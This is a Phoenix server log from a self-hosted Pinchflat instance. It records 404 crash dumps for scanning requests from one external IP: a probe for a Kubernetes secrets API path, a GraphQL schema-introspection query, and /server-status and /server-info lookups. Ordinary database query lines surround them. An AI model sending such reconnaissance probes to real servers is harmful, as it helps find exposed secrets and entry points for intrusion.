PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/namespaces/default/secrets", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37530}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/v1/namespaces/default/secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/v1/namespaces/default/secrets", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37530}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21708.0>, params: %{}, path_info: ["api", "v1", "namespaces", "default", "secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/v1/namespaces/default/secrets", res (truncated) 15:40:40.076 [info] GET /graphql 15:40:40.077 [debug] QUERY OK source="settings" db=0.1ms idle=289.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:40.077 [debug] QUERY OK source="settings" db=0.0ms idle=289.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:40.077 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:40.077 [error] #PID<0.21710.0> running PinchflatWeb.Endpoint (connection #PID<0.21709.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /graphql?query={__schema{types{name,fields{name}}}} ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "content-type" => "application/json", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "query={__schema{types{name,fields{name}}}}", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21710.0>, params: %{"query" => "{__schema{types{name,fields{name}}}}"}, path_info: ["graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"query" => "{__schema{types{name,fields{name}}}}"}, query_string: "query={__schema{types{name,fields{name}}}}", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"content-type", "application/json"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/graphql", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgsFfQaRsPPgACM0h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "content-type" => "application/json", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "query={__schema{types{name,fields{name}}}}", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /graphql (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21709.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/graphql", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37532}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "content-type" => "application/json", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "query={__schema{types{name,fields{name}}}}", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21710.0>, params: %{"query" => "{__schema{types{name,fields{name}}}}"}, path_info: ["graphql"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"query" => "{__schema{types{name,fields{name}}}}"}, query_string: "query={__schema{types{name,fields{name}}}}", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"content-type", "application (truncated) 15:40:40.189 [info] GET /server-status 15:40:40.190 [debug] QUERY OK source="settings" db=0.2ms idle=225.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:40.190 [debug] QUERY OK source="settings" db=0.1ms idle=225.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:40.190 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:40.190 [error] #PID<0.21712.0> running PinchflatWeb.Endpoint (connection #PID<0.21711.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /server-status ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21712.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgsgcxqazI0sACM1B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21711.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21712.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgsgcxqazI0sACM1B"} ], scheme: :h (truncated) 15:40:40.307 [info] GET /server-info 15:40:40.307 [debug] QUERY OK source="settings" db=0.1ms idle=241.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:40.307 [debug] QUERY OK source="settings" db=0.1ms idle=230.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:40.307 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:40.307 [error] #PID<0.21714.0> running PinchflatWeb.Endpoint (connection #PID<0.21713.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /server-info ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37548}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21714.0>, params: %{}, path_info: ["server-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/server-info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgs8aULbltcUACM1h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37548}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-info", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37548}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21714.0>, params: %{}, path_info: ["server-info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/server-info", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgs8aULbltcUACM1h"} ], scheme: :http, scrip (truncated) 15:40:57.247 [info] {"source":"oban","duration":10667,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:00.971 [info] {"source":"oban","duration":139,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:41:27.260 [info] {"source":"oban","duration":12025,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:41:40.338 [info] GET / 15:41:40.338 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:41:40.338 [debug] QUERY OK source="settings" db=0.1ms idle=1460.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:40.339 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1460.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:41:40.339 [debug] QUERY OK source="sources" db=0.0ms idle=1214.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:41:40.360 [debug] QUERY OK source="media_items" db=21.1ms idle=460.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:41:40.362 [debug] QUERY OK source="media_items" db=2.2ms idle=234.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:41:40.363 [debug] QUERY OK source="settings" db=0.0ms idle=24.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:40.363 [debug] QUERY OK source="settings" db=0.0ms idle=24.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:40.363 [debug] QUERY OK source="settings" db=0.0ms idle=24.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:41:40.363 [debug] QUERY OK source="tasks" db=0.0ms idle=3.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:41:40.365 [debug] QUERY OK source="media_items" db=1.7ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:41:40.366 [debug] QUERY OK source="media_items" db=0.1ms 